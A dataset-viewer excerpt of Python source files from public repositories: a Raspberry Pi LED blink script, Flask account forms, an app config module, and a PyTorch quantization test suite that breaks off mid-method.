Datasets:

PatrickHaller

/

the-stack-python-100k

like 0

1ff1702bcb8da359b79def16dce5a4619ac6195a

py

Python

projects/blink1led/blink1led.py

johnnymast/Raspberry-pi-3B

9bde1a17d07159a2773c1c23ec9cb30079a74105

2017-01-18T00:03:38.000Z

2017-01-18T00:03:38.000Z

projects/blink1led/blink1led.py

johnnymast/Raspberry-pi-3B

9bde1a17d07159a2773c1c23ec9cb30079a74105

projects/blink1led/blink1led.py

johnnymast/Raspberry-pi-3B

9bde1a17d07159a2773c1c23ec9cb30079a74105

#!/usr/bin/python import RPi.GPIO as GPIO import time # Set board mode this means real counting the pins GPIO.setmode(GPIO.BOARD) GPIO.cleanup() # Set pin 7 to accept output GPIO.setup(7,GPIO.OUT) try: while(1): # Set pin 7 to HIGH this means power will flow GPIO.output(7, GPIO.HIGH) # Wait 1 second time.sleep(0.5) # Set pin to low meaning power off GPIO.output(7, GPIO.LOW) # Wait 1 second time.sleep(0.5) finally: GPIO.cleanup()

87b615227acaacf27616211adb07c396afcd74d4

py

Python

Flask/Blog/user/forms.py

LieonShelly/PythonFun

811760d368885109f9359c2663d8ce74886f6ad6

Flask/Blog/user/forms.py

LieonShelly/PythonFun

811760d368885109f9359c2663d8ce74886f6ad6

Flask/Blog/user/forms.py

LieonShelly/PythonFun

811760d368885109f9359c2663d8ce74886f6ad6

from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, SubmitField, BooleanField from wtforms.validators import DataRequired, Length, Email, EqualTo, ValidationError from flask_login import current_user from Blog.user.models import User from flask_wtf.file import FileAllowed, FileField class RegistrationForm(FlaskForm): username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)]) email = StringField("Email", validators=[DataRequired(), Email()]) password = PasswordField('Password', validators=[DataRequired()]) confirm_password = PasswordField('Confirm Password', validators=[DataRequired(), EqualTo('password')]) submit = SubmitField('Sign Up') def validate_username(self, username): user = User.query.filter_by(username=username.data).first() if user: raise ValidationError('That username is taken. Please choose a different one.') def validate_email(self, email): user = User.query.filter_by(email=email.data).first() if user: raise ValidationError('That email is taken. Please choose a different one.') class LoginForm(FlaskForm): email = StringField('Email', validators=[DataRequired(), Email()]) password = PasswordField('Password', validators=[DataRequired()]) remember = BooleanField('Remember Me') submit = SubmitField('Login') class UpdateAccountForm(FlaskForm): username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)]) email = StringField('Email', validators=[DataRequired(), Email()]) picture = FileField('Update Profile Picture', validators=[FileAllowed(['jpg', 'png'])]) submit = SubmitField('Update') class RequestResetForm(FlaskForm): email = StringField('Email', validators=[DataRequired(), Email()]) submit = SubmitField('Request Password Reset') def validate_email(self, email): user = User.query.filter_by(email=email.data).first() if user is None: raise ValidationError('There is no account with that email. You must register first.') class ResetPasswordForm(FlaskForm): password = PasswordField('Password', validators=[DataRequired()]) confirm_password = PasswordField('Confirm Password', validators=[DataRequired(), EqualTo('password')]) submit = SubmitField('Reset Password')

f6fb5e91e68299b262be21f17347d7212104a56d

py

Python

config.py

jonathankamau/MovieBuff-API

9ede6625b65f362b154aad0b3f525207aac77cdd

2018-09-14T03:44:55.000Z

2018-09-14T03:44:55.000Z

config.py

jonathankamau/MovieBuff-API

9ede6625b65f362b154aad0b3f525207aac77cdd

2020-06-03T02:48:43.000Z

2021-07-22T02:45:54.000Z

config.py

jonathankamau/MovieBuff-API

9ede6625b65f362b154aad0b3f525207aac77cdd

2018-12-17T16:30:09.000Z

2018-12-17T16:30:09.000Z

"""App environment configurations.""" import os from dotenv import load_dotenv dotenv_path = os.path.join(os.path.dirname(__file__), '.env') load_dotenv(dotenv_path) class Development(): """Model Development enviroment config object.""" DEBUG = True DEVELOPMENT = True SQLALCHEMY_DATABASE_URI = os.environ.get('LOCAL_DATABASE') SQLALCHEMY_TRACK_MODIFICATIONS = True class Testing(): """Model Testing environment config object.""" DEBUG = True TESTING = True SQLALCHEMY_DATABASE_URI = os.environ.get('TEST_DATABASE') SQLALCHEMY_TRACK_MODIFICATIONS = True class Staging(): """Model Development enviroment config object.""" DEBUG = True STAGING = True SQLALCHEMY_DATABASE_URI = os.environ.get('STAGING_DATABASE') SQLALCHEMY_TRACK_MODIFICATIONS = True class Production(): """Model Development enviroment config object.""" DEBUG = True PRODUCTION = True SQLALCHEMY_DATABASE_URI = os.environ.get('PRODUCTION_DATABASE') env_configuration = { 'development': Development, 'testing': Testing, 'staging': Staging, 'production': Production }

5e67c3d44eaa957f5224995cba079b36392ebbce

py

Python

pandora-ckz/pandora/infinite/models.py

williamlagos/django-coding

246dc1aba32eae0b035c407de3e8fe954606b776

2015-06-30T11:24:14.000Z

2018-06-03T05:32:18.000Z

smartagent/models.py

jamespacileo/django-smartagent

568a8843744b138199f72c14b68ed2f1ec841571

2020-03-24T18:18:22.000Z

2021-03-31T20:18:53.000Z

smartagent/models.py

jamespacileo/django-smartagent

568a8843744b138199f72c14b68ed2f1ec841571

__author__ = 'James'

a4651bb7c77dd2a3c977d670c9a4ebd693658104

py

Python

test/quantization/fx/test_numeric_suite_fx.py

gardenia22/pytorch

deb6989880d8a62bb45ce6c6b058bb5d2e28cf91

2017-01-18T17:21:31.000Z

2022-03-31T21:37:45.000Z

test/quantization/fx/test_numeric_suite_fx.py

Jam3/pytorch

33d8769c285b51922c378d11a90a442a28e06762

2017-01-18T17:21:38.000Z

2022-03-31T23:56:11.000Z

test/quantization/fx/test_numeric_suite_fx.py

Jam3/pytorch

33d8769c285b51922c378d11a90a442a28e06762

2017-01-18T17:45:04.000Z

2022-03-31T23:51:56.000Z

import copy import math import operator import unittest import torch import torch.nn as nn import torch.nn.functional as F from torch.ao.quantization import default_dynamic_qconfig import torch.nn.quantized as nnq toq = torch.ops.quantized from torch.ao.quantization.quantize_fx import ( convert_fx, prepare_fx, prepare_qat_fx, ) from torch.testing._internal.common_quantization import ( ConvBnModel, ConvBnReLUModel, ConvModel, QuantizationTestCase, skipIfNoFBGEMM, SingleLayerLinearDynamicModel, SingleLayerLinearModel, LSTMwithHiddenDynamicModel, SparseNNModel, skip_if_no_torchvision, ) from torch.ao.quantization.quantization_mappings import ( get_default_static_quant_module_mappings, get_default_dynamic_quant_module_mappings, get_default_float_to_quantized_operator_mappings, ) from torch.testing._internal.common_cuda import TEST_CUDA from torch.testing._internal.common_quantization import NodeSpec as ns from torch.ao.quantization.fx.pattern_utils import get_default_quant_patterns import torch.ao.quantization.fx.quantization_patterns as qp from torch.ao.ns.fx.pattern_utils import ( get_type_a_related_to_b, ) from torch.ao.ns.fx.graph_matcher import ( get_matching_subgraph_pairs, GraphMatchingException, ) from torch.ao.ns.fx.utils import ( compute_sqnr, compute_normalized_l2_error, compute_cosine_similarity, ) from torch.ao.ns.fx.mappings import ( get_node_type_to_io_type_map, get_unmatchable_types_map, get_base_name_to_sets_of_related_ops, get_base_name_for_op, add_op_to_sets_of_related_ops, ) from torch.ao.ns.fx.weight_utils import ( get_op_to_type_to_weight_extraction_fn, ) from torch.ao.ns._numeric_suite_fx import ( extract_weights, _extract_weights_impl, add_loggers, _add_loggers_impl, OutputLogger, add_shadow_loggers, _add_shadow_loggers_impl, extract_logger_info, extract_shadow_logger_info, extend_logger_results_with_comparison, ) # Note: these models are not for use outside of this file. While it's good # to reuse code, we also need to be able to iterate on tests # quickly when debugging. If a test model has a large number of callsites # across various different files, speed of debugging on individual test cases # decreases. class LinearReluFunctional(nn.Module): def __init__(self): super().__init__() self.w1 = nn.Parameter(torch.empty(4, 4)) self.b1 = nn.Parameter(torch.zeros(4)) torch.nn.init.kaiming_uniform_(self.w1, a=math.sqrt(5)) def forward(self, x): x = F.linear(x, self.w1, self.b1) x = F.relu(x) return x class LinearFunctional(nn.Module): def __init__(self): super().__init__() self.w1 = nn.Parameter(torch.empty(4, 4)) self.b1 = nn.Parameter(torch.zeros(4)) torch.nn.init.kaiming_uniform_(self.w1, a=math.sqrt(5)) def forward(self, x): x = F.linear(x, self.w1, self.b1) return x class LinearReluLinearFunctional(nn.Module): def __init__(self): super().__init__() self.w = nn.Parameter(torch.Tensor(4, 4)) self.b = nn.Parameter(torch.zeros(4)) torch.nn.init.kaiming_uniform_(self.w, a=math.sqrt(5)) def forward(self, x): x = F.linear(x, self.w, self.b) x = F.relu(x) x = F.linear(x, self.w, self.b) return x class AddMulFunctional(nn.Module): def forward(self, x, y): x = x + 1.0 x = x * 1.0 x = 1.0 + x x = 1.0 * x x = x + y x = x * y return x class AllConvAndLinearFusionModules(torch.nn.Module): def __init__(self): super().__init__() # conv1d self.conv1d_0 = nn.Conv1d(1, 1, 1) # conv1d - relu self.conv1d_1 = nn.Conv1d(1, 1, 1) self.relu_0 = nn.ReLU() # conv1d - bn (qat only) self.conv1d_2 = nn.Conv1d(1, 1, 1) self.bn1d_0 = nn.BatchNorm1d(1) # conv1d - bn - relu (qat only) self.conv1d_3 = nn.Conv1d(1, 1, 1) self.bn1d_1 = nn.BatchNorm1d(1) self.relu_4 = nn.ReLU() # conv2d self.conv2d_0 = nn.Conv2d(1, 1, 1) # conv2d - relu self.conv2d_1 = nn.Conv2d(1, 1, 1) self.relu_1 = nn.ReLU() # conv2d - bn (qat only) self.conv2d_2 = nn.Conv2d(1, 1, 1) self.bn2d_0 = nn.BatchNorm2d(1) # conv2d - bn - relu (qat only) self.conv2d_3 = nn.Conv2d(1, 1, 1) self.bn2d_1 = nn.BatchNorm2d(1) self.relu_5 = nn.ReLU() # conv3d self.conv3d_0 = nn.Conv3d(1, 1, 1) # conv3d - relu self.conv3d_1 = nn.Conv3d(1, 1, 1) self.relu_2 = nn.ReLU() # conv3d - bn (qat only) self.conv3d_2 = nn.Conv3d(1, 1, 1) self.bn3d_0 = nn.BatchNorm3d(1) # conv3d - bn - relu (qat only) self.conv3d_3 = nn.Conv3d(1, 1, 1) self.bn3d_1 = nn.BatchNorm3d(1) self.relu_6 = nn.ReLU() # linear self.linear_0 = nn.Linear(1, 1) # linear - relu self.linear_1 = nn.Linear(1, 1) self.relu_3 = nn.ReLU() def forward(self, x): # conv1d x = self.conv1d_0(x) x = self.conv1d_1(x) x = self.relu_0(x) x = self.conv1d_2(x) x = self.bn1d_0(x) x = self.conv1d_3(x) x = self.bn1d_1(x) x = self.relu_4(x) # conv2d x = x.reshape(1, 1, 1, 1) x = self.conv2d_0(x) x = self.conv2d_1(x) x = self.relu_1(x) x = self.conv2d_2(x) x = self.bn2d_0(x) x = self.conv2d_3(x) x = self.bn2d_1(x) x = self.relu_5(x) # conv3d x = x.reshape(1, 1, 1, 1, 1) x = self.conv3d_0(x) x = self.conv3d_1(x) x = self.relu_2(x) x = self.conv3d_2(x) x = self.bn3d_0(x) x = self.conv3d_3(x) x = self.bn3d_1(x) x = self.relu_6(x) # linear x = x.reshape(1, 1) x = self.linear_0(x) x = self.linear_1(x) x = self.relu_3(x) return x class AllConvFunctional(torch.nn.Module): def __init__(self, weight1d, weight2d, weight3d, bias1d, bias2d, bias3d): super().__init__() self.weight1d = torch.nn.Parameter(weight1d) self.weight2d = torch.nn.Parameter(weight2d) self.weight3d = torch.nn.Parameter(weight3d) self.bias1d = torch.nn.Parameter(bias1d) self.bias2d = torch.nn.Parameter(bias2d) self.bias3d = torch.nn.Parameter(bias3d) self.stride1d = 1 self.padding1d = 0 self.dilation1d = 1 self.stride2d = (1, 1) self.padding2d = (0, 0) self.dilation2d = (1, 1) self.groups = 1 self.stride3d = (1, 1, 1) self.padding3d = (0, 0, 0) self.dilation3d = (1, 1, 1) def forward(self, x): x = F.conv1d( x, self.weight1d, self.bias1d, self.stride1d, self.padding1d, self.dilation1d, self.groups) x = F.conv1d( x, self.weight1d, self.bias1d, self.stride1d, self.padding1d, self.dilation1d, self.groups) x = F.relu(x) x = F.conv2d( x, self.weight2d, self.bias2d, self.stride2d, self.padding2d, self.dilation2d, self.groups) x = F.conv2d( x, self.weight2d, self.bias2d, self.stride2d, self.padding2d, self.dilation2d, self.groups) x = F.relu(x) x = F.conv3d( x, self.weight3d, self.bias3d, self.stride3d, self.padding3d, self.dilation3d, self.groups) x = F.conv3d( x, self.weight3d, self.bias3d, self.stride3d, self.padding3d, self.dilation3d, self.groups) x = F.relu(x) return x @torch.fx.wrap def _wrapped_hardswish(x): return F.hardswish(x) @torch.fx.wrap def _wrapped_hardswish_fp16(x): x = x.dequantize() x = F.hardswish(x) x = x.to(torch.float16) return x @torch.fx.wrap def _wrapped_sigmoid(x): return F.sigmoid(x) @torch.fx.wrap def _wrapped_linear(x, w, b): return F.linear(x, w, b) class TestFXGraphMatcher(QuantizationTestCase): @skipIfNoFBGEMM def test_simple_mod(self): m = nn.Sequential(nn.Conv2d(1, 1, 1)).eval() mp = prepare_fx(m, {'': torch.ao.quantization.default_qconfig}) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) results = get_matching_subgraph_pairs(mp, mq) base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() conv_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, nn.Conv2d) + '_0' expected_types = { conv_name_0: ((nn.Conv2d, torch.ao.quantization.MinMaxObserver), (nnq.Conv2d, nnq.Conv2d)), } self.assert_types_for_matched_subgraph_pairs(results, expected_types, mp, mq) @skipIfNoFBGEMM def test_simple_fun(self): class M(nn.Module): def __init__(self): super().__init__() self.w = nn.Parameter(torch.empty(1, 4)) self.b = nn.Parameter(torch.zeros(1)) torch.nn.init.kaiming_uniform_(self.w, a=math.sqrt(5)) def forward(self, x): return F.linear(x, self.w, self.b) m = M().eval() mp = prepare_fx(m, {'': torch.ao.quantization.default_qconfig}) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) results = get_matching_subgraph_pairs(mp, mq) base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() linear_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, F.linear) + '_0' expected_types = { linear_name_0: ((F.linear, torch.ao.quantization.MinMaxObserver), (toq.linear, toq.linear)) } self.assert_types_for_matched_subgraph_pairs(results, expected_types, mp, mq) @skipIfNoFBGEMM def test_simple_fusion(self): m = LinearReluFunctional().eval() mp = prepare_fx(m, {'': torch.ao.quantization.default_qconfig}) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) results = get_matching_subgraph_pairs(mp, mq) base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() linear_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, F.linear) + '_0' expected_types = { linear_name_0: ((F.linear, torch.ao.quantization.MinMaxObserver), (toq.linear_relu, toq.linear_relu)), } self.assert_types_for_matched_subgraph_pairs(results, expected_types, mp, mq) @skipIfNoFBGEMM def test_simple_mod_multi(self): m = nn.Sequential( nn.Sequential( nn.Conv2d(1, 1, 1), ), nn.Conv2d(1, 1, 1), ).eval() mp = prepare_fx(m, {'': torch.ao.quantization.default_qconfig}) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) # assume success if no exceptions results = get_matching_subgraph_pairs(mp, mq) @skipIfNoFBGEMM def test_simple_tensor_ops(self): class M(nn.Module): def __init__(self): super().__init__() def forward(self, x, y): z = x + y return z m = M().eval() mp = prepare_fx(m, {'': torch.ao.quantization.default_qconfig}) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) # assume success if no exceptions results = get_matching_subgraph_pairs(mp, mq) @skipIfNoFBGEMM def test_matching_failure_node_count(self): # verify that matching graphs with matching node types but # different counts of matchable nodes fails m1 = nn.Sequential(nn.Conv2d(1, 1, 1)).eval() m2 = nn.Sequential(nn.Conv2d(1, 1, 1), nn.Conv2d(1, 1, 1)).eval() mp1 = prepare_fx(m1, {'': torch.ao.quantization.default_qconfig}) mp2 = prepare_fx(m2, {'': torch.ao.quantization.default_qconfig}) with self.assertRaises(GraphMatchingException) as ex: results = get_matching_subgraph_pairs(mp1, mp2) @skipIfNoFBGEMM def test_matching_failure_node_type(self): # verify that matching graphs with non-matching node types fails m1 = nn.Sequential(nn.Conv2d(1, 1, 1)).eval() m2 = nn.Sequential(nn.Linear(1, 1)).eval() mp1 = prepare_fx(m1, {'': torch.ao.quantization.default_qconfig}) mp2 = prepare_fx(m2, {'': torch.ao.quantization.default_qconfig}) with self.assertRaises(GraphMatchingException) as ex: results = get_matching_subgraph_pairs(mp1, mp2) @skipIfNoFBGEMM def test_nodes_before_cat(self): # verify that nodes before cat get matched class M(nn.Module): def __init__(self): super().__init__() def forward(self, x0): x1 = torch.add(x0, 1.0) y1 = torch.add(x0, 1.0) x2 = torch.cat([x1, y1]) return x2 m = M().eval() mp = prepare_fx(m, {'': torch.ao.quantization.default_qconfig}) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) results = get_matching_subgraph_pairs(mp, mq) base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() cat_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, torch.cat) + '_0' add_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, torch.add) + '_0' add_name_1 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, torch.add) + '_1' expected_types = { cat_name_0: ((torch.cat, torch.cat), (torch.cat, torch.cat)), add_name_0: ((torch.add, torch.ao.quantization.MinMaxObserver), (toq.add, toq.add)), add_name_1: ((torch.add, torch.ao.quantization.MinMaxObserver), (toq.add, toq.add)), } self.assert_types_for_matched_subgraph_pairs(results, expected_types, mp, mq) @skipIfNoFBGEMM def test_dict_return_type(self): # verify that we can traverse up nodes which return dictionaries class M(nn.Module): def __init__(self): super().__init__() def forward(self, x0): x1 = torch.add(x0, 1.0) y1 = torch.add(x0, 1.0) z1 = torch.add(x0, 1.0) a1 = {'x1': x1, 'y1': (y1,), 'z1': [{'key': (z1,)}]} return a1 m = M().eval() mp = prepare_fx(m, {'': torch.ao.quantization.default_qconfig}) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) results = get_matching_subgraph_pairs(mp, mq) base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() add_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, torch.add) + '_0' add_name_1 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, torch.add) + '_1' add_name_2 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, torch.add) + '_2' expected_types = { add_name_0: ((torch.add, torch.ao.quantization.MinMaxObserver), (toq.add, toq.add)), add_name_1: ((torch.add, torch.ao.quantization.MinMaxObserver), (toq.add, toq.add)), add_name_2: ((torch.add, torch.ao.quantization.MinMaxObserver), (toq.add, toq.add)), } self.assert_types_for_matched_subgraph_pairs(results, expected_types, mp, mq) @skipIfNoFBGEMM @unittest.skip("Broken by https://github.com/pytorch/pytorch/pull/62608, need dtype inference support") def test_nodes_with_equal_types_get_matched(self): class M(nn.Module): def __init__(self): super().__init__() self.conv1 = nn.Conv2d(1, 1, 1) self.conv2 = nn.Conv2d(1, 1, 1) def forward(self, x): x = self.conv1(x) x = self.conv2(x) x = torch.mul(x, x) x = torch.sigmoid(x) x = F.relu(x) return x m = M().eval() # prevent conv2 from getting quantized, so we can test # modules with equal types qconfig_dict = { '': torch.ao.quantization.default_qconfig, 'module_name': [('conv2', None)], } mp = prepare_fx(m, qconfig_dict) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) results = get_matching_subgraph_pairs(mp, mq) base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() conv_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, nn.Conv2d) + '_0' conv_name_1 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, nn.Conv2d) + '_1' mul_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, torch.mul) + '_0' relu_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, torch.relu) + '_0' sigmoid_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, torch.sigmoid) + '_0' # all of these should be matched expected_types = { conv_name_1: ((nn.Conv2d, torch.ao.quantization.MinMaxObserver), (nnq.Conv2d, nnq.Conv2d)), conv_name_0: ((nn.Conv2d, torch.ao.quantization.MinMaxObserver), (nn.Conv2d, nn.Conv2d)), mul_name_0: ((torch.mul, torch.ao.quantization.MinMaxObserver), (toq.mul, toq.mul)), relu_name_0: ((F.relu, torch.ao.quantization.MinMaxObserver), (F.relu, F.relu)), sigmoid_name_0: ((torch.sigmoid, torch.sigmoid), (torch.sigmoid, torch.sigmoid)), } self.assert_types_for_matched_subgraph_pairs(results, expected_types, mp, mq) @unittest.skip("Broken by https://github.com/pytorch/pytorch/pull/62608, need dtype inference support") def test_methods(self): """ Verify that graph matching works on methods """ class M(nn.Module): def forward(self, x): x = x.sigmoid() return x m1 = M().eval() m2 = M().eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} m1p = prepare_fx(m1, qconfig_dict) m2p = prepare_fx(m2, qconfig_dict) results = get_matching_subgraph_pairs(m1p, m2p) base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() sigmoid_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, torch.sigmoid) + '_0' expected_types = { sigmoid_name_0: (('sigmoid', 'sigmoid'), ('sigmoid', 'sigmoid')), } self.assert_types_for_matched_subgraph_pairs( results, expected_types, m1p, m2p) def test_op_relationship_mapping(self): """ Tests that the mapping of op relationships is complete. """ base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() type_a_related_to_b = \ get_type_a_related_to_b(base_name_to_sets_of_related_ops) # 1. check static quant module mappings static_quant_mod_mappings = get_default_static_quant_module_mappings() for fp32_type, int8_type in static_quant_mod_mappings.items(): # skip quants and dequants, for the purposes of Numerical Suite types_to_skip = ( torch.ao.quantization.QuantStub, torch.ao.quantization.DeQuantStub, nnq.FloatFunctional, ) if fp32_type in types_to_skip: continue # verify relatedness in_type_a_related_to_b = \ (fp32_type, int8_type) in type_a_related_to_b self.assertTrue( in_type_a_related_to_b, f"{fp32_type} and {int8_type} need a relationship mapping") # 2. check static quant op mappings static_quant_fun_mappings = get_default_float_to_quantized_operator_mappings() for fp32_type, int8_type in static_quant_fun_mappings.items(): # verify relatedness in_type_a_related_to_b = \ (fp32_type, int8_type) in type_a_related_to_b self.assertTrue( in_type_a_related_to_b, f"{fp32_type} and {int8_type} need a relationship mapping") # 3. check dynamic quant mappings dynamic_quant_mappings = get_default_dynamic_quant_module_mappings() for fp32_type, int8_type in dynamic_quant_mappings.items(): # TODO(future PR): enable correct weight extraction for these # and remove from this list. types_to_skip = ( nn.GRUCell, nn.GRU, nn.LSTMCell, nn.RNNCell, ) if fp32_type in types_to_skip: continue # verify relatedness in_type_a_related_to_b = \ (fp32_type, int8_type) in type_a_related_to_b self.assertTrue( in_type_a_related_to_b, f"{fp32_type} and {int8_type} need a relationship mapping") # 4. go through the ops mapped to each QuantizeHandler type, and verify # correctness. def _op_in_base_sets_of_related_ops(op): for name, ops in base_name_to_sets_of_related_ops.items(): if op in ops: return True return False unmatchable_types_map = get_unmatchable_types_map() FUNS_UNMATCHABLE = unmatchable_types_map['funs_unmatchable'] MODS_UNMATCHABLE = unmatchable_types_map['mods_unmatchable'] METHS_UNMATCHABLE = unmatchable_types_map['meths_unmatchable'] def _op_is_unmatchable(op): return ( op in FUNS_UNMATCHABLE or op in MODS_UNMATCHABLE or op in METHS_UNMATCHABLE ) default_quant_patterns = get_default_quant_patterns() for pattern, qhandler_cls in default_quant_patterns.items(): base_op = None if isinstance(pattern, tuple): base_op = pattern[-1] elif isinstance(pattern, str): base_op = pattern else: base_op = pattern qhandler_cls_all_ops_quantizeable = [ qp.CatQuantizeHandler, qp.ConvReluQuantizeHandler, qp.LinearReLUQuantizeHandler, qp.BatchNormQuantizeHandler, qp.EmbeddingQuantizeHandler, qp.RNNDynamicQuantizeHandler, ] qhandler_cls_quant_op_same_signature = [ qp.FixedQParamsOpQuantizeHandler, qp.CopyNodeQuantizeHandler, qp.GeneralTensorShapeOpQuantizeHandler, ] if qhandler_cls == qp.BinaryOpQuantizeHandler: # these ops do not have quantized equivalents ops_to_skip = [ torch.bmm, torch.div, torch.sub, operator.truediv, operator.sub ] if base_op in ops_to_skip: continue self.assertTrue( _op_in_base_sets_of_related_ops(base_op), f"{base_op} not in sets of related ops") elif qhandler_cls == qp.RNNDynamicQuantizeHandler: # TODO(future PR): add support for all classes in # RNNDynamicQuantizeHandler pass elif qhandler_cls == qp.DefaultNodeQuantizeHandler: # torch.sum does not have quantized equivalents if base_op == torch.sum: continue self.assertTrue( _op_in_base_sets_of_related_ops(base_op), f"{base_op} not in sets of related ops") elif qhandler_cls in qhandler_cls_quant_op_same_signature: # these ops use the same op signature for fp32 and quantized # tensors self.assertTrue( _op_in_base_sets_of_related_ops(base_op) or _op_is_unmatchable(base_op), f"{base_op} not in sets of related ops or unmatchable") elif qhandler_cls in qhandler_cls_all_ops_quantizeable: self.assertTrue( _op_in_base_sets_of_related_ops(base_op), f"{base_op} not in sets of related ops") else: raise AssertionError( f"handing for {qhandler_cls} not implemented") @skipIfNoFBGEMM def test_user_defined_function(self): """ Verify that graph matching works on user defined functions """ class M1(nn.Module): def forward(self, x): x = F.hardswish(x) return x class M2(nn.Module): def forward(self, x): x = _wrapped_hardswish(x) return x qconfig_dict = {'': torch.ao.quantization.default_qconfig} m1 = prepare_fx(M1().eval(), qconfig_dict) m2 = prepare_fx(M2().eval(), qconfig_dict) base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() add_op_to_sets_of_related_ops( base_name_to_sets_of_related_ops, _wrapped_hardswish, F.hardswish) results = get_matching_subgraph_pairs( m1, m2, base_name_to_sets_of_related_ops=base_name_to_sets_of_related_ops) hardswish_name_0 = 'base_op_' + get_base_name_for_op( base_name_to_sets_of_related_ops, F.hardswish) + '_0' expected_types = { hardswish_name_0: ((F.hardswish, torch.ao.quantization.MinMaxObserver), (_wrapped_hardswish, _wrapped_hardswish)), } self.assert_types_for_matched_subgraph_pairs( results, expected_types, m1, m2) @skipIfNoFBGEMM def test_results_order(self): m = nn.Sequential( nn.Conv2d(1, 1, 1), nn.Linear(1, 1), ).eval() mp = prepare_fx(m, {'': torch.ao.quantization.default_qconfig}) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) results = get_matching_subgraph_pairs(mp, mq) self.assertTrue(len(results) == 2) results_iter = iter(results.items()) _, (subgraph_a_0, subgraph_b_0) = next(results_iter) self.assertTrue(subgraph_a_0.start_node.name == '_0' and subgraph_b_0.start_node.name == '_0') _, (subgraph_a_1, subgraph_b_1) = next(results_iter) self.assertTrue(subgraph_a_1.start_node.name == '_1' and subgraph_b_1.start_node.name == '_1') class TestFXGraphMatcherModels(QuantizationTestCase): @skipIfNoFBGEMM @skip_if_no_torchvision def test_mobilenet_v2(self): # verify that mobilenetv2 graph is able to be matched import torchvision m = torchvision.models.__dict__['mobilenet_v2'](pretrained=False).eval().float() mp = prepare_fx(copy.deepcopy(m), {'': torch.ao.quantization.default_qconfig}) # assume success if no exceptions results_m_mp = get_matching_subgraph_pairs(torch.fx.symbolic_trace(m), mp) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) # assume success if no exceptions results_mp_mq = get_matching_subgraph_pairs(mp, mq) @skipIfNoFBGEMM @skip_if_no_torchvision def test_mobilenet_v2_qat(self): # verify that mobilenetv2 graph is able to be matched import torchvision m = torchvision.models.__dict__['mobilenet_v2'](pretrained=False).float() mp = prepare_qat_fx( copy.deepcopy(m), {'': torch.ao.quantization.get_default_qat_qconfig('fbgemm')}) # assume success if no exceptions results_m_mp = get_matching_subgraph_pairs(torch.fx.symbolic_trace(m), mp) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) # assume success if no exceptions results_mp_mq = get_matching_subgraph_pairs(mp, mq) class FXNumericSuiteQuantizationTestCase(QuantizationTestCase): def _test_extract_weights( self, m, results_len=0, qconfig_dict=None, prepare_fn=prepare_fx ): m = torch.fx.symbolic_trace(m) if qconfig_dict is None: qconfig_dict = {'': torch.ao.quantization.default_qconfig} mp = prepare_fn(copy.deepcopy(m), qconfig_dict) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) # test both the public API as well as the internal GraphModule API for extract_weights_fun in (extract_weights, _extract_weights_impl): # test both m vs mp and mp vs mq for m1, m2 in ((m, mp), (mp, mq)): results = extract_weights_fun('a', m1, 'b', m2) self.assertTrue( len(results) == results_len, f"expected len {results_len}, got len {len(results)}") self.assert_ns_compare_dict_valid(results) extend_logger_results_with_comparison( results, 'a', 'b', compute_sqnr, 'sqnr') extend_logger_results_with_comparison( results, 'a', 'b', compute_normalized_l2_error, 'l2_error') extend_logger_results_with_comparison( results, 'a', 'b', compute_cosine_similarity, 'cosine_similarity') def _test_match_activations( self, m, data, prepared_expected_node_occurrence=None, results_len=0, should_log_inputs=False, qconfig_dict=None, skip_scripting=False, prepare_fn=prepare_fx, ): if qconfig_dict is None: qconfig_dict = {'': torch.ao.quantization.default_qconfig} if prepare_fn == prepare_fx: m.eval() else: m.train() mp = prepare_fn(copy.deepcopy(m), qconfig_dict) mp(*data) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) m_ns, mp_ns2 = add_loggers( 'a', m, 'b', copy.deepcopy(mp), OutputLogger, should_log_inputs=should_log_inputs) mp_ns, mq_ns = add_loggers( 'a', mp, 'b', mq, OutputLogger, should_log_inputs=should_log_inputs) if prepared_expected_node_occurrence: self.checkGraphModuleNodes( m_ns, expected_node_occurrence=prepared_expected_node_occurrence) self.checkGraphModuleNodes( mp_ns2, expected_node_occurrence=prepared_expected_node_occurrence) 